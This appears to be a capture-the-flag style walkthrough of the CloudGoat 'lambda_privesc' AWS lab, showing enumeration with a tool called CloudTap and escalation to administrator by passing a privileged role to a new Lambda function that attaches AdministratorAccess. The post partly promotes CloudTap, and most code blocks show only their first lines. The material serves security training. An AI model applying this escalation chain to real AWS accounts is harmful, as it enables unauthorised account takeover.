CloudGoat Lambda Privilege Escalation Walkthrough
This walkthrough demonstrates a complete CloudGoat Lambda privilege escalation scenario using the powerful CloudTap enumeration tool. We’ll explore how an attacker can leverage Lambda functions and IAM role passing to escalate from limited permissions to full administrative access in an AWS environment. This CloudGoat lakthrew showcases a critical privilege escalation path that security professionals should understand and defend against.
Initial Setup
First, configure CloudGoat to whitelist your IP address:
1 | cloudgoat config whitelist --auto |
Create the Lambda privilege escalation scenario:
1 | cloudgoat create lambda_privesc |
You’ll receive initial credentials:
1 | raynor_access_key_id = AKIAQ6VKGD5Y[REDACTED] |
Automated Enumeration with CloudTap
For this walkthrough, we’ll use CloudTap, an excellent automation tool that streamlines the initial enumeration phase of AWS penetration testing. CloudTap automatically discovers permissions, roles, and potential privilege escalation paths, making it invaluable for security assessments.
Initial Permission Discovery
CloudTap reveals the following attached policy:
1 | Found attached policy: cg-chris-policy-cgid[REDACTED] |
Role Discovery and Auto-Assumption
CloudTap also identifies a potential role we can assume:
1 | { |
One of CloudTap’s powerful features is its ability to automatically assume roles when the user has AssumeRole
permissions. The tool provides temporary session credentials:
1 | 📋 Temporary session credentials: |
Permission Analysis
Lambda Manager Role Permissions
Let’s examine what permissions our assumed role provides. First, get the policy ARN:
1 | aws iam list-attached-role-policies --role-name cg-lambdaManager-role-cgid[REDACTED] --profile init |
Output:
1 | { |
Get the policy details:
1 | aws iam get-policy --policy-arn arn:aws:iam::[ACCOUNT-ID]:policy/cg-lambdaManager-policy-cgid[REDACTED] --profile init |
Output:
1 | { |
Finally, examine the policy permissions:
1 | aws iam get-policy-version --policy-arn arn:aws:iam::[ACCOUNT-ID]:policy/cg-lambdaManager-policy-cgid[REDACTED] --version-id v1 --profile init |
Output:
1 | { |
Critical Finding: We have full Lambda permissions (lambda:*
) and iam:PassRole
for all resources!
Target Role Discovery
CloudTap’s comprehensive analysis reveals another role with full administrative permissions:
1 | 🔍 Analyzing role 'cg-debug-role-cgid[REDACTED]' before assumption attempt... |
1 | { |
Privilege Escalation Strategy
Our escalation path is now clear:
- Create a Lambda function
- Use
iam:PassRole
to assign thecg-debug-role-cgid[REDACTED]
role to the function - The Lambda function will execute with administrator privileges
- Use the function to attach the AdministratorAccess policy to our user
Lambda Function Creation and Exploitation
Creating the Malicious Lambda Function
This technique is documented in the AWS IAM Privilege Escalation Techniques repository.
Required Permissions:
iam:PassRole
lambda:CreateFunction
lambda:InvokeFunction
Create the Lambda function code (lambda_function.py
):
1 | import boto3 |
Package the function:
1 | zip function.zip lambda_function.py |
Create the Lambda function with the privileged role:
1 | aws lambda create-function \ |
Function Execution
Invoke the malicious function:
1 | aws lambda invoke --function-name exploit-function out.json --profile init |
Response:
1 | "Policy attached!" |
Verification of Privilege Escalation
Verify that the chris user now has administrative privileges:
1 | aws iam list-attached-user-policies --user-name chris-cgid[REDACTED] --profile sec |
Output:
1 | { |
Success! The chris user now has the AdministratorAccess policy attached, providing full AWS administrative privileges.
About CloudTap
CloudTap is an essential tool for AWS security assessments that automates the tedious enumeration phase of penetration testing. Its key features include:
- Automated Permission Discovery: Quickly identifies IAM policies and their permissions
- Role Analysis: Comprehensive analysis of assumable roles and their privileges
- Auto-Assumption: Automatically assumes roles when possible, saving time
- Privilege Escalation Detection: Identifies potential escalation paths
- Clean Output: Well-formatted results that are easy to analyze
CloudTap significantly speeds up the reconnaissance phase of AWS penetration testing, allowing security professionals to focus on exploitation and remediation rather than manual enumeration tasks.